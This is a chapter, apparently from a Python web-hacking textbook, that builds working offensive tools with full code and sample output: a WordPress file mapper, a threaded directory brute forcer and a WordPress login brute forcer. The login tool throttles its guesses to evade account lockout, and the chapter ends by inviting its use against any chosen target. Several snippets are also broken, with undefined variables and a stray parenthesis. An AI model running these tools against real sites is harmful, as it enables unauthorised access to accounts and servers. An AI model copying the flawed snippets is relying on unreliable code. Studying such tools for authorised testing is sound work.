5
WEB HACKERY



The ability to analyze web applications is an absolutely critical skill for any attacker or penetration tester. In most modern networks, web applications present the largest attack surface and therefore are also the most common avenue for gaining access to the web applications themselves.

You'll find a number of excellent web application tools written in Python, including w3af and sqlmap. Quite frankly, topics such as SQL injection have been beaten to death, and the tooling available is mature enough that we don't need to reinvent the wheel. Instead, we'll explore the basics of interacting with the web by using Python and then build on this knowledge to create reconnaissance and brute-force tooling. By creating a few different tools, you should learn the fundamental skills you need to build any type of web application assessment tool that your particular attack scenario calls for.

In this chapter, we'll look at three scenarios for attacking a web app. In the first scenario, you know the web framework that the target uses, and that framework happens to be open source. A web app framework contains many files and directories within directories within directories. We'll create a map that shows the hierarchy of the

web app locally and use that information to locate the real files and directories on the live target.

In the second scenario, you know only the URL for your target, so we'll resort to brute-forcing the same kind of mapping by using a word list to generate a list of filepaths and directory names that may be present on the target. We'll then attempt to connect to the resulting list of possible paths against a live target.

In the third scenario, you know the base URL of your target and its login page. We'll examine the login page and use a word list to brute-force a login.

Using Web Libraries

We'll start by going over the libraries you can use to interact with web services. When performing network-based attacks, you may be using your own machine or a machine inside the network you're attacking. If you are on a compromised machine, you'll have to make do with what you've got, which might be a bare-bones Python 2.*x* or Python 3.*x* installation. We'll take a look at what you can do in those situations using the standard library. For the remainder of the chapter, however, we'll assume you're on your attacker machine using the most up-to-date packages.

The urllib2 Library for Python 2.x

You'll see the `urllib2` library used in code written for Python 2.*x*. It's bundled into the standard library. Much like the `socket` library for writing network tooling, people use the `urllib2` library when creating tools to interact with web services. Let's take a look at code that makes a very simple GET request to the No Starch Press website:

```
  import urllib2
  url = 'https://www.nostarch.com'
1 response = urllib2.urlopen(url) # GET
2 print(response.read())
  response.close()
```

This is the simplest example of how to make a GET request to a website. We pass in a URL to the `urlopen` function 1, which returns a file-like object that allows us to read back the body of what the remote web server returns 2. As we're just fetching the raw page from the No Starch website, no JavaScript or other client-side languages will execute.

In most cases, however, you'll want more fine-grained control over how you make these requests, including being able to define specific headers, handle cookies, and create POST requests. The `urllib2` library includes a `Request` class that gives you this level of control. The following example shows you how to create the same GET request by using the `Request` class and by defining a custom `User-Agent` HTTP header:

```
import urllib2
url = "https://www.nostarch.com"
1 headers = {'User-Agent': "Googlebot"}

2 request  = urllib2.Request(url,headers=headers)
3 response = urllib2.urlopen(request)

print(response.read())
response.close()
```

The construction of a `Request` object is slightly different from our previous example. To create custom headers, we define a `headers` dictionary 1, which allows us to then set the header keys and values we want to use. In this case, we'll make our Python script appear to be the Googlebot. We then create our `Request` object and pass in the `url` and the `headers` dictionary 2, and then pass the `Request` object to the `urlopen` function call 3. This returns a normal file-like object that we can use to read in the data from the remote website.

The urllib Library for Python 3.x

In Python 3.*x*, the standard library provides the `urllib` package, which splits the capabilities from the `urllib2` package into the

`urllib.request` and `urllib.error` subpackages. It also adds URL-parsing capability with the subpackage `urllib.parse`.

To make an HTTP request with this package, you can code the request as a context manager using the `with` statement. The resulting response should contain a byte string. Here's how to make a GET request:

```
1 import urllib.parse
  import urllib.request

2 url = 'http://boodelyboo.com'
3 with urllib.request.urlopen(url) as response:  # GET
   4 content = response.read()

  print(content)
```

Here we import the packages we need 1 and define the target URL 2. Then, using the `urlopen` method as a context manager, we make the request 3 and read the response 4.

To create a POST request, pass a data dictionary to the request object, encoded as bytes. This data dictionary should have the key-value pairs that the target web app expects. In this example, the `info` dictionary contains the credentials (`user`, `passwd`) needed to log in to the target website:

```
  info = {'user': 'tim', 'passwd': '31337'}
1 data = urllib.parse.urlencode(info).encode() # data is now of
  type bytes

2 req = urllib.request.Request(url, data)
  with urllib.request.urlopen(req) as response:  # POST
   3 content = response.read()

  print(content)
```

We encode the data dictionary that contains the login credentials to make it a bytes object 1, put it into the POST request 2 that

transmits the credentials, and receive the web app response to our login attempt 3.

The requests Library

Even the official Python documentation recommends using the `requests` library for a higher-level HTTP client interface. It's not in the standard library, so you have to install it. Here's how to do so using `pip`:

```
pip install requests
```

The `requests` library is useful because it can automatically handle cookies for you, as you'll see in each example that follows, but especially in the example where we attack a WordPress site in "Brute-Forcing HTML Form Authentication" on page 85. To make an HTTP request, do the following:

```
import requests
url =  'http://boodelyboo.com'
response = requests.get(url) # GET

data = {'user': 'tim', 'passwd': '31337'}
response = requests.post(url, data=data) # POST
print(response.text) # response.text = string;
response.content = bytestring
```

We create the `url`, the `request`, and a `data` dictionary containing the `user` and `passwd` keys. Then we post that request 1 and print the `text` attribute (a string) 2. If you would rather work with a byte string, use the `content` attribute returned from the post. You'll see an example of that in "Brute-Forcing HTML Form Authentication" on page 85.

The lxml and BeautifulSoup Packages

Once you have an HTTP response, either the `lxml` or `BeautifulSoup` package can help you parse the contents. Over the past few years,

these two packages have become more similar; you can use the `lxml` parser with the `BeautifulSoup` package, and the `BeautifulSoup` parser with the `lxml` package. You'll see code from other hackers that use one or the other. The `lxml` package provides a slightly faster parser, while the `BeautifulSoup` package has logic to automatically detect the target HTML page's encoding. We will use the `lxml` package here. Install either package with `pip`:

```
pip install lxml
pip install beautifulsoup4
```

Suppose you have the HTML content from a request stored in a variable named `content`. Using `lxml`, you could retrieve the content and parse the links as follows:

```
from io import BytesIO
from lxml import etree

import requests

url =  'https://nostarch.com
r = requests.get(url) # GET
content = r.content   # content is of type 'bytes'

parser = etree.HTMLParser()
content = etree.parse(BytesIO(content), parser=parser) # Parse
into tree
for link in content.findall('//a'):  # find all "a" anchor
elements.
 print(f"{link.get('href')} -> {link.text}")
```

We import the `BytesIO` class from the `io` module 1 because we'll need it in order to use a byte string as a file object when we parse the HTTP response. Next, we perform the GET request as usual 2 and then use the `lxml` HTML parser to parse the response. The parser expects a file-like object or a filename. The `BytesIO` class enables us to use the returned byte string content as a file-like object to pass to the `lxml` parser 3. We use a simple query to find all the `a` (anchor) tags that contain links in the returned content 4 and print

the results. Each anchor tag defines a link. Its `href` attribute specifies the URL of the link.

Note the use of the f-string 5 that actually does the writing. In Python 3.6 and later, you can use f-strings to create strings containing variable values enclosed inside braces. This allows you to easily do things like include the result of a function call (`link.get('href')`) or a plain value (`link.text`) in your string.

Using `BeautifulSoup`, you can do the same kind of parsing with this code. As you can see, the technique is very similar to our last example using `lxml`:

```
from bs4 import BeautifulSoup as bs
import requests
url =  'http://bing.com'
r = requests.get(url)
tree = bs(r.text, 'html.parser') # Parse into tree
for link in tree.find_all('a'):  # find all "a" anchor elements.
    print(f"{link.get('href')} -> {link.text}")
```

The syntax is almost identical. We parse the content into a tree 1, iterate over the links (`a`, or anchor, tags) 2, and print the target (`href` attribute) and the link text (`link.text`) 3.

If you're working from a compromised machine, you'll likely avoid installing these third-party packages to keep from making too much network noise, so you're stuck with whatever you have on hand, which may be a bare-bones Python 2 or Python 3 installation. That means you'll use the standard library (`urllib2` or `urllib`, respectively).

In the examples that follow, we assume you're on your attacking box, which means you can use the `requests` package to contact web servers and `lxml` to parse the output you retrieve.

Now that you have the fundamental means to talk to web services and websites, let's create some useful tooling for any web application attack or penetration test.

Mapping Open Source Web App Installations

Content management systems (CMSs) and blogging platforms such as Joomla, WordPress, and Drupal make starting a new blog or website simple, and they're relatively common in a shared hosting environment or even an enterprise network. All systems have their own challenges in terms of installation, configuration, and patch management, and these CMS suites are no exception. When an overworked sysadmin or a hapless web developer doesn't follow all security and installation procedures, it can be easy pickings for an attacker to gain access to the web server.

Because we can download any open source web application and locally determine its file and directory structure, we can create a purpose-built scanner that can hunt for all files that are reachable on the remote target. This can root out leftover installation files, directories that should be protected by *.htaccess* files, and other goodies that can assist an attacker in getting a toehold on the web server.

This project also introduces you to using Python `Queue` objects, which allow us to build a large, thread-safe stack of items and have multiple threads pick items for processing. This will enable our scanner to run very rapidly. Also, we can trust that we won't have race conditions since we're using a queue, which is thread-safe, rather than a list.

Mapping the WordPress Framework

Suppose you know that your web app target uses the WordPress framework. Let's see what a WordPress installation looks like. Download and unzip a local copy of WordPress. You can get the latest version from *https://wordpress.org/download/*. Here, we're using version 5.4 of WordPress. Even though the file's layout may differ from the live server you're targeting, it provides us with a reasonable starting place for finding files and directories present in most versions.

To get a map of the directories and filenames that come in a standard WordPress distribution, create a new file named *mapper.py*. Let's write a function called `gather_paths` to walk down the distribution, inserting each full filepath into a queue called `web_paths`:

```
import contextlib
import os
import queue
import requests
import sys
import threading
import time

FILTERED = [".jpg", ".gif", ".png", ".css"]
TARGET = "http://boodelyboo.com/wordpress"
THREADS = 10

answers = queue.Queue()
web_paths = queue.Queue()

def gather_paths():
    for root, _, files in os.walk('.'):
        for fname in files:
            if os.path.splitext(fname)[1] in FILTERED:
                continue
            path = os.path.join(root, fname)
            if path.startswith('.'):
                path = path[1:]
            print(path)
            web_paths.put(path)

@contextlib.contextmanager
def chdir(path):
    """
    On enter, change directory to specified path.
    On exit, change directory back to original.
    """
    this_dir = os.getcwd()
    os.chdir(path)
    try:
        yield
    finally:
        os.chdir(this_dir)
```

```
if __name__ == '__main__':
 7 with chdir("/home/tim/Downloads/wordpress"):
       gather_paths()
    input('Press return to continue.')
```

We begin by defining the remote target website 1 and creating a list of file extensions that we aren't interested in fingerprinting. This list can be different depending on the target application, but in this case we chose to omit images and style sheet files. Instead, we're targeting HTML or text files, which are more likely to contain information useful for compromising the server. The `answers` variable is the `Queue` object where we'll put the filepaths we've located locally. The `web_paths` variable 2 is a second `Queue` object where we'll store the files that we'll attempt to locate on the remote server. Within the `gather_paths` function, we use the `os.walk` function 3 to walk through all of the files and directories in the local web application directory. As we walk through the files and directories, we build the full paths to the target files and test them against the list stored in `FILTERED` to make sure we are looking for only the file types we want. For each valid file we find locally, we add it to the `web_paths` variable's `Queue`.

The `chdir` context manager 4 needs a bit of explanation. Context managers provide a cool programming pattern, especially if you're forgetful or just have too much to keep track of and want to simplify your life. You'll find them helpful when you've opened something and need to close it, locked something and need to release it, or changed something and need to reset it. You're probably familiar with built-in file managers like `open` to open a file or `socket` to use a socket.

Generally, you create a context manager by creating a class with the `__enter__` and `__exit__` methods. The `__enter__` method returns the resource that needs to be managed (like a file or socket), and the `__exit__` method performs the cleanup operations (closing a file, for example).

However, in situations where you don't need as much control, you can use the `@contextlib.contextmanager`to create a simple context manager that converts a generator function into a context manager.

This `chdir` function enables you to execute code inside a different directory and guarantees that, when you exit, you'll be returned to the original directory. The `chdir` generator function initializes the context by saving the original directory and changing into the new one, yields control back to `gather_paths`5, and then reverts to the original directory 6.

Notice that the `chdir` function definition contains `try` and `finally` blocks. You'll often encounter `try/except` statements, but the `try/finally` pair is less common. The `finally` block always executes, regardless of any exceptions raised. We need this here because, no matter whether the directory change succeeds, we want the context to revert to the original directory. A toy example of the `try` block shows what happens for each case:

```
try:
    something_that_might_cause_an_error()
except SomeError as e:
    print(e)               # show the error on the console
    dosomethingelse()      # take some alternative action
else:
    everything_is_fine()   # this executes only if the try
succeeded
finally:
    cleanup()              # this executes no matter what
```

Returning to the mapping code, you can see in the `__main__` block that you use the `chdir` context manager inside a `with` statement 7, which calls the generator with the name of the directory in which to execute the code. In this example, we pass in the location where we unzipped the WordPress ZIP file. This location will be different on your machine; make sure you pass in your own location. Entering the `chdir` function saves the current directory name and changes the working directory to the path specified as the argument to the function. It then yields control back to the main thread of execution, which is where the `gather_paths` function is run. Once the `gather_paths` function completes, we exit the context manager, the `finally` clause executes, and the working directory is restored to the original location.

You can, of course, use `os.chdir` manually, but if you forget to undo the change, you'll find your program executing in an unexpected place. By using your new `chdir` context manager, you know that you're automatically working in the right context and that, when you return, you're back to where you were before. You can keep this context manager function in your utilities and use it in your other scripts. Spending time writing clean, understandable utility functions like this pays dividends later, since you will use them over and over.

Execute the program to walk down the WordPress distribution hierarchy and see the full paths printed to the console:

```
 (bhp) tim@kali:~/bhp/bhp$ python mapper.py
/license.txt
/wp-settings.php
/xmlrpc.php
/wp-login.php
/wp-blog-header.php
/wp-config-sample.php
/wp-mail.php
/wp-signup.php
--snip--
/readme.html
/wp-includes/class-requests.php
/wp-includes/media.php
/wp-includes/wlwmanifest.xml
/wp-includes/ID3/readme.txt
--snip--
/wp-content/plugins/akismet/_inc/form.js
/wp-content/plugins/akismet/_inc/akismet.js

Press return to continue.
```

Now our `web_paths` variable's `Queue` is full of paths for checking. You can see that we've picked up some interesting results: filepaths present in the local WordPress installation that we can test against a live target WordPress app, including *.txt*, *.js*, and *.xml* files. Of course, you can build additional intelligence into the script to return only files you're interested in, such as files that contain the word *install*.

Testing the Live Target

Now that you have the paths to the WordPress files and directories, it's time to do something with them—namely, test your remote target to see which of the files found in your local filesystem are actually installed on the target. These are the files we can attack in a later phase, to brute-force a login or investigate for misconfigurations. Let's add the `test_remote` function to the *mapper.py* file:

```
def test_remote():
 1 while not web_paths.empty():
     2 path = web_paths.get()
       url = f'{TARGET}{path}'
     3 time.sleep(2)  # your target may have
throttling/lockout.
       r = requests.get(url)
       if r.status_code == 200:
        4 answers.put(url)
          sys.stdout.write('+')
       else:
          sys.stdout.write('x')
       sys.stdout.flush()
```

The `test_remote` function is the workhorse of the mapper. It operates in a loop that will keep executing until the `web_paths` variable's `Queue`is empty 1. On each iteration of the loop, we grab a path from the `Queue`2, add it to the target website's base path, and then attempt to retrieve it. If we get a success (indicated by the response code 200), we put that URL into the `answers` queue 4 and write a `+` on the console. Otherwise, we write an `x` on the console and continue the loop.

Some web servers lock you out if you bombard them with requests. That's why we use a `time.sleep` of two seconds 3 to wait between each request, which hopefully slows the rate of our requests enough to bypass a lockout rule.

Once you know how a target responds, you can remove the lines that write to the console, but when you're first touching the target,

writing those + and x characters on the console helps you understand what's going on as you run your test.

Finally, we write the `run` function as the entry point to the mapper application:

```
def run():
    mythreads = list()
 1  for i in range(THREADS):
        print(f'Spawning thread {i}')
 2      t = threading.Thread(target=test_remote)
        mythreads.append(t)
        t.start()

    for thread in mythreads:
 3      thread.join()
```

The `run` function orchestrates the mapping process, calling the functions just defined. We start 10 threads (defined at the beginning of the script) 1 and have each thread run the `test_remote` function 2. We then wait for all 10 threads to complete (using `thread.join`) before returning 3.

Now, we can finish up by adding some more logic to the `__main__` block. Replace the file's original `__main__` block with this updated code:

```
if __name__ == '__main__':
 1  with chdir("/home/tim/Downloads/wordpress"):
        gather_paths()
 2  input('Press return to continue.')

 3  run()
 4  with open('myanswers.txt', 'w') as f:
        while not answers.empty():
            f.write(f'{answers.get()}\n')
    print('done')
```

We use the context manager`chdir`1 to navigate to the right directory before we call `gather_paths`. We've added a pause there in

case we want to review the console output before continuing 2. At this point, we have gathered the interesting filepaths from our local installation. Then we run the main mapping task 3 against the remote application and write the answers to a file. We'll likely get a bunch of successful requests, and when we print the successful URLs to the console, the results may go by so fast that we won't be able to follow. To avoid that, add a block 4 to write the results to a file. Notice the context manager method to open a file. This guarantees that the file closes when the block is finished.

Kicking the Tires

The authors keep a site around just for testing (*boodelyboo.com/*), and that's what we've targeted in this example. For your own tests, you might create a site to play with, or you can install WordPress into your Kali VM. Note that you can use any open source web application that's quick to deploy or that you have running already. When you run *mapper.py*, you should see output like this:

```
Spawning thread 0
Spawning thread 1
Spawning thread 2
Spawning thread 3
Spawning thread 4
Spawning thread 5
Spawning thread 6
Spawning thread 7
Spawning thread 8
Spawning thread 9
++x+x+++x+x++++++++++++++++++++++++++++++++++++++++++
++++++++++++++++++++
```

When the process is finished, the paths on which you were successful are listed in the new file *myanswers.txt*.

Brute-Forcing Directories and File Locations

The previous example assumed a lot of knowledge about your target. But when you're attacking a custom web application or large

e-commerce system, you often won't be aware of all the files accessible on the web server. Generally, you'll deploy a spider, such as the one included in Burp Suite, to crawl the target website in order to discover as much of the web application as possible. But in a lot of cases, you'll want to get ahold of configuration files, leftover development files, debugging scripts, and other security breadcrumbs that can provide sensitive information or expose functionality that the software developer did not intend. The only way to discover this content is to use a brute-forcing tool to hunt down common filenames and directories.

We'll build a simple tool that will accept word lists from common brute forcers, such as the gobuster project (*https://github.com/OJ/gobuster/*) and SVNDigger (*https://www.netsparker.com/blog/web-security/svn-digger-better-lists-for-forced-browsing/*), and attempt to discover directories and files that are reachable on the target web server. You'll find many word lists available on the internet, and you already have quite a few in your Kali distribution (see */usr/share/wordlists*). For this example, we'll use a list from SVNDigger. You can retrieve the files for SVNDigger as follows:

```
cd ~/Downloads
wget https://www.netsparker.com/s/research/SVNDigger.zip
unzip SVNDigger.zip
```

When you unzip this file, the file *all.txt* will be in your *Downloads* directory.

As before, we'll create a pool of threads to aggressively attempt to discover content. Let's start by creating some functionality to create a `Queue` out of a word-list file. Open up a new file, name it *bruter.py*, and enter the following code:

```
import queue
import requests
import threading
import sys

AGENT = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0)
```

```
    Gecko/20100101 Firefox/19.0"
    EXTENSIONS = ['.php', '.bak', '.orig', '.inc']
    TARGET = "http://testphp.vulnweb.com"
    THREADS = 50
    WORDLIST = "/home/tim/Downloads/all.txt"

1 def get_words(resume=None):

    2 def extend_words(word):
            if "." in word:
                words.put(f'/{word}')
            else:
             3 words.put(f'/{word}/')

            for extension in EXTENSIONS:
                words.put(f'/{word}{extension}')

        with open(WORDLIST) as f:
         4 raw_words = f.read()

        found_resume = False
        words = queue.Queue()
        for word in raw_words.split():
         5 if resume is not None:
                if found_resume:
                    extend_words(word)
                elif word == resume:
                    found_resume = True
                    print(f'Resuming wordlist from: {resume}')
            else:
                print(word)
                extend_words(word)
      6 return words
```

The `get_words` helper function 1, which returns the words queue we'll test on the target, contains some special techniques. We read in a word list file 4 and then begin iterating over each line in the file. We then set the `resume` variable to the last path that the brute forcer tried 5. This functionality allows us to resume a brute-forcing session if our network connectivity is interrupted or the target site goes down. When we've parsed the entire file, we return a `Queue` full of words to use in our actual brute-forcing function 6.

Note that this function has an inner function called `extend_words`2. An *inner function* is a function defined inside another function. We could have written it outside of `get_words`, but because `extend_words` will always run in the context of the `get_words` function, we place it inside in order to keep the namespaces tidy and make the code easier to understand.

The purpose of this inner function is to apply a list of extensions to test when making requests. In some cases, you want to try not only the */admin* extension, for example, but also *admin.php*, *admin.inc*, and *admin.html* 3. It can be useful here to brainstorm common extensions that developers might use and forget to remove later on, like *.orig* and *.bak*, on top of the regular programming language extensions. The `extend_words` inner function provides this capability, using these rules: if the word contains a dot (`.`), we'll append it to the URL (for example, */test.php*); otherwise, we'll treat it like a directory name (such as */admin/* .

In either case, we'll add each of the possible extensions to the result. For example, if we have two words, `test.php` and `admin`, we will put the following additional words into our words queue:

/test.php.bak, */test.php.inc*, */test.php.orig*, */test.php.php*

/admin/admin.bak, */admin/admin.inc*, */admin/admin.orig*, */admin/admin.php*

Now, let's write the main brute-forcing function:

```
def dir_bruter(words):
 1 headers = {'User-Agent': AGENT}
    while not words.empty():
     2 url = f'{TARGET}{words.get()}'
        try:
            r = requests.get(url, headers=headers)
     3 except requests.exceptions.ConnectionError:
            sys.stderr.write('x');sys.stderr.flush()
            continue

        if r.status_code == 200:
         4 print(f'\nSuccess ({r.status_code}: {url})')
        elif r.status_code == 404:
```

```
            sys.stderr.write('.');sys.stderr.flush()
        else:
            print(f'{r.status_code} => {url}')

if __name__ == '__main__':
    words = get_words()
    print('Press return to continue.')
    sys.stdin.readline()
    for _ in range(THREADS):
        t = threading.Thread(target=dir_bruter, args=
(words,))
        t.start()
```

The `dir_bruter` function accepts a `Queue` object that is populated with words we prepared in the `get_words` function. We defined a `User-Agent` string at the beginning of the program to use in the HTTP request so that our requests look like the normal ones coming from nice people. We add that information into the `headers` variable 1. We then loop through the `words` queue. For each iteration, we create a URL with which to request on the target application 2 and send the request to the remote web server.

This function prints some output directly to the console and some output to `stderr`. We will use this technique to present output in a flexible way. It enables us to display different portions of output, depending on what we want to see.

It would be nice to know about any connection errors we get 3; print an `x` to `stderr` when that happens. Otherwise, if we have a success (indicated by a status of 200), print the complete URL to the console 4. You could also create a queue and put the results there, as we did last time. If we get a 404 response, we print a dot (`.`) to `stderr` and continue 5. If we get any other response code, we print the URL as well, because this could indicate something interesting on the remote web server. (That is, something besides a “file not found” error.) It’s useful to pay attention to your output because, depending on the configuration of the remote web server, you may have to filter out additional HTTP error codes in order to clean up your results.

In the `__main__` block, we get the list of words to brute-force 6 and then spin up a bunch of threads to do the brute-forcing.

Kicking the Tires

OWASP has a list of vulnerable web applications, both online and offline, such as virtual machines and disk images, that you can test your tooling against. In this case, the URL referenced in the source code points to an intentionally buggy web application hosted by Acunetix. The cool thing about attacking these applications is that it shows you how effective brute forcing can be.

We recommend you set the `THREADS` variable to something sane, such as 5, and run the script. A value too low will take a long time to run, while a high value can overload the server. In short order, you should start seeing results such as the following ones:

```
(bhp) tim@kali:~/bhp/bhp$ python bruter.py
Press return to continue.
--snip--
Success (200: http://testphp.vulnweb.com/CVS/)
.............................................
Success (200: http://testphp.vulnweb.com/admin/).
.................................................
```

If you want to see only the successes, since you used `sys.stderr` to write the `x` and dot (`.`) characters, invoke the script and redirect `stderr` to */dev/null* so that only the files you found are displayed on the console:

```
python bruter.py 2> /dev/null

Success (200: http://testphp.vulnweb.com/CVS/)
Success (200: http://testphp.vulnweb.com/admin/)
Success (200: http://testphp.vulnweb.com/index.php)
Success (200: http://testphp.vulnweb.com/index.bak)
Success (200: http://testphp.vulnweb.com/search.php)
Success (200: http://testphp.vulnweb.com/login.php)
Success (200: http://testphp.vulnweb.com/images/)
Success (200: http://testphp.vulnweb.com/index.php)
Success (200: http://testphp.vulnweb.com/logout.php)
Success (200: http://testphp.vulnweb.com/categories.php)
```

Notice that we're pulling some interesting results from the remote website, some of which may surprise you. For example, you may find backup files or code snippets left behind by an overworked web developer. What could be in that *index.bak* file? With that information, you can remove files that could provide an easy compromise of your application.

Brute-Forcing HTML Form Authentication

There may come a time in your web hacking career when you need to gain access to a target or, if you're consulting, assess the password strength on an existing web system. It has become increasingly common for web systems to have brute-force protection, whether a captcha, a simple math equation, or a login token that has to be submitted with the request. There are a number of brute forcers that can do the brute-forcing of a POST request to the login script, but in a lot of cases they are not flexible enough to deal with dynamic content or handle simple "are you human?" checks.

We'll create a simple brute forcer that will be useful against WordPress, a popular content management system. Modern WordPress systems include some basic anti-brute-force techniques, but still lack account lockouts or strong captchas by default.

In order to brute-force WordPress, our tool needs to meet two requirements: it must retrieve the hidden token from the login form before submitting the password attempt, and it must ensure that we accept cookies in our HTTP session. The remote application sets one or more cookies on first contact, and it will expect the cookies back on a login attempt. In order to parse out the login form values, we'll use the `lxml` package introduced in "The lxml and BeautifulSoup Packages" on page 74.

Let's get started by having a look at the WordPress login form. You can find this by browsing to *http://<yourtarget>/wp-login.php/*. You can use your browser's tools to "view source" to find the HTML structure. For example, using the Firefox browser, choose

Tools▶Web Developer▶Inspector. For the sake of brevity, we've included the relevant form elements only:

```
<form name="loginform" id="loginform"
1 action="http://boodelyboo.com/wordpress/wp-login.php"
method="post">
  <p>
    <label for="user_login">Username or Email Address</label>
 2 <input type="text" name="log" id="user_login" value=""
size="20"/>
  </p>

  <div class="user-pass-wrap">
    <label for="user_pass">Password</label>
    <div class="wp-pwd">
   3 <input type="password" name="pwd" id="user_pass"
value="" size="20" />
    </div>
  </div>
  <p class="submit">
 4 <input type="submit" name="wp-submit" id="wp-submit"
value="Log In" />
 5 <input type="hidden" name="testcookie" value="1" />
  </p>
</form>
```

Reading through this form, we are privy to some valuable information that we'll need to incorporate into our brute forcer. The first is that the form gets submitted to the */wp-login.php* path as an HTTP POST 1. The next elements are all of the fields required in order for the form submission to be successful: `log`2 is the variable representing the username, `pwd`3 is the variable for the password, `wp-submit`4 is the variable for the submit button, and `testcookie` 5 is the variable for a test cookie. Note that this input is hidden on the form.

The server also sets a couple of cookies when you make contact with the form, and it expects to receive them again when you post the form data. This is the essential piece of the WordPress anti-brute-forcing technique. The site checks the cookie against your current user session, so even if you are passing the correct

credentials into the login processing script, the authentication will fail if the cookie is not present. When a normal user logs in, the browser automatically includes the cookie. We must duplicate that behavior in the brute-forcing program. We will handle the cookies automatically using the `requests` library's `Session` object.

We'll rely on the following request flow in our brute forcer in order to be successful against WordPress:

Retrieve the login page and accept all cookies that are returned.

Parse out all of the form elements from the HTML.

Set the username and/or password to a guess from our dictionary.

Send an HTTP POST to the login processing script, including all HTML form fields and our stored cookies.

Test to see if we have successfully logged in to the web application.

Cain & Abel, a Windows-only password recovery tool, includes a large word list for brute-forcing passwords called *cain.txt*. Let's use that file for our password guesses. You can download it directly from Daniel Miessler's GitHub repository SecLists:

```
wget
https://raw.githubusercontent.com/danielmiessler/SecLists/mas
ter/Passwords/Software/cain-and-abel.txt
```

By the way, SecLists contains a lot of other word lists, too. We encourage you to browse through the repo for your future hacking projects.

You can see that we are going to be using some new and valuable techniques in this script. We will also mention that you should never test your tooling on a live target; always set up an installation of your target web application with known credentials and verify that you get the desired results. Let's open a new Python file named *wordpress_killer.py* and enter the following code:

```
from io import BytesIO
from lxml import etree
```

```
from queue import Queue

import requests
import sys
import threading
import time

1 SUCCESS = 'Welcome to WordPress!'
2 TARGET = "http://boodelyboo.com/wordpress/wp-login.php"
  WORDLIST = '/home/tim/bhp/bhp/cain.txt'

3 def get_words():
      with open(WORDLIST) as f:
          raw_words = f.read()

      words = Queue()
      for word in raw_words.split():
          words.put(word)
      return words

4 def get_params(content):
      params = dict()
      parser = etree.HTMLParser()
      tree = etree.parse(BytesIO(content), parser=parser)
   5 for elem in tree.findall('//input'):  # find all input
  elements
          name = elem.get('name')
          if name is not None:
              params[name] = elem.get('value', None)
      return params
```

These general settings deserve a bit of explanation. The `TARGET` variable 2 is the URL from which the script will first download and parse the HTML. The `SUCCESS` variable 1 is a string that we'll check for in the response content after each brute-forcing attempt in order to determine whether or not we are successful.

The `get_words` function 3 should look familiar because we used a similar form of it for the brute forcer in "Brute-Forcing Directories and File Locations" on page 82. The `get_params` function 4 receives the HTTP response content, parses it, and loops through all the input elements 5 to create a dictionary of the parameters we need to fill out. Let's now create the plumbing for our brute forcer; some of the

following code will be familiar from the code in the preceding brute-forcing programs, so we'll highlight only the newest techniques.

```
class Bruter:
    def __init__(self, username, url):
        self.username = username
        self.url = url
        self.found = False
        print(f'\nBrute Force Attack beginning on {url}.\n')
        print("Finished the setup where username = %s\n" %
username)

    def run_bruteforce(self, passwords):
        for _ in range(10):
            t = threading.Thread(target=self.web_bruter,
args=(passwords,))
            t.start()

    def web_bruter(self, passwords):
     1 session = requests.Session()
        resp0 = session.get(self.url)
        params = get_params(resp0.content)
        params['log'] = self.username

     2 while not passwords.empty() and not self.found:
            time.sleep(5)
            passwd = passwords.get()
            print(f'Trying username/password
{self.username}/{passwd:<10}')
            params['pwd'] = passwd

         3 resp1 = session.post(self.url, data=params)
            if SUCCESS in resp1.content.decode():
                self.found = True
                print(f"\nBruteforcing successful.")
                print("Username is %s" % self.username)
                print("Password is %s\n" % brute)
                print('done: now cleaning up other threads. .
.')
```

This is our primary brute-forcing class, which will handle all of the HTTP requests and manage cookies. The work of the `web_bruter` method, which performs the brute-force login attack, proceeds in three stages.

In the initialization phase 1, we initialize a `Session` object from the `requests` library, which will automatically handle our cookies for us. We then make the initial request to retrieve the login form. When we have the raw HTML content, we pass it off to the `get_params` function, which parses the content for the parameters and returns a dictionary of all of the retrieved form elements. After we've successfully parsed the HTML, we replace the `username` parameter. Now we can start looping through our password guesses.

In the loop phase 2, we first sleep a few seconds in an attempt to bypass account lockouts. Then we pop a password from the queue and use it to finish populating the parameter dictionary. If there are no more passwords in the queue, the thread quits.

In the request phase 3, we post the request with our parameter dictionary. After we retrieve the result of the authentication attempt, we test whether the authentication was successful—that is, whether the content contains the success string we defined earlier. If it was successful and the string is present, we clear the queue so the other threads can finish quickly and return.

To wrap up the WordPress brute forcer, let's add the following code:

```
if __name__ == '__main__':
    words = get_words()
1 b = Bruter('tim', url)
2 b.run_bruteforce(words))
```

That's it! We pass in the `username` and `url` to the `Bruter` class 1 and brute-force the application by using a queue created from the `words` list 2. Now we can watch the magic happen.

HTMLPARSER 101

In the example in this section, we used the `requests` and `lxml` packages to make HTTP requests and parse the resulting content. But what if you are unable to install the packages and therefore must rely on the standard library? As we noted in the beginning of this chapter, you can use `urllib` for making your requests, but you'll need to set up your own parser with the standard library `html.parser.HTMLParser`.

There are three primary methods you can implement when using the `HTMLParser` class: `handle_starttag`, `handle_endtag`, and `handle_data`. The `handle_starttag` function will be called anytime an opening HTML tag is encountered, and the opposite is true for the `handle_endtag` function, which gets called each time a closing HTML tag is encountered. The `handle_data` function gets called when there is raw text between tags. The function prototypes for each function are slightly different, as follows:

```
handle_starttag(self, tag, attributes)
handle_endttag(self, tag)
handle_data(self, data)
```

Here's a quick example to highlight this:

```
<title>Python rocks!</title>

handle_starttag => tag variable would be "title"
handle_data     => data variable would be "Python rocks!"
handle_endtag   => tag variable would be "title"
```

With this very basic understanding of the `HTMLParser` class, you can do things like parse forms, find links for spidering, extract all of the pure text for data-mining purposes, or find all of the images in a page.

Kicking the Tires

If you don't have WordPress installed on your Kali VM, then install it now. On our temporary WordPress install hosted at *boodelyboo.com/*, we preset the username to `tim` and the password to `1234567` so that we can make sure it works. That password just happens to be in the *cain.txt* file, around 30 entries down. When running the script, we get the following output:

```
(bhp) tim@kali:~/bhp/bhp$ python wordpress_killer.py
Brute Force Attack beginning on
http://boodelyboo.com/wordpress/wp-login.php.
Finished the setup where username = tim

Trying username/password tim/!@#$%
Trying username/password tim/!@#$%^
Trying username/password tim/!@#$%^&
--snip--
Trying username/password tim/0racl38i

Bruteforcing successful.
Username is tim
Password is 1234567

done: now cleaning up.
(bhp) tim@kali:~/bhp/bhp$
```

You can see that the script successfully brute-forces and logs in to the WordPress console. To verify that it worked, you should manually log in using those credentials. After you test this locally and you're certain it works, you can use this tool against a target WordPress installation of your choice.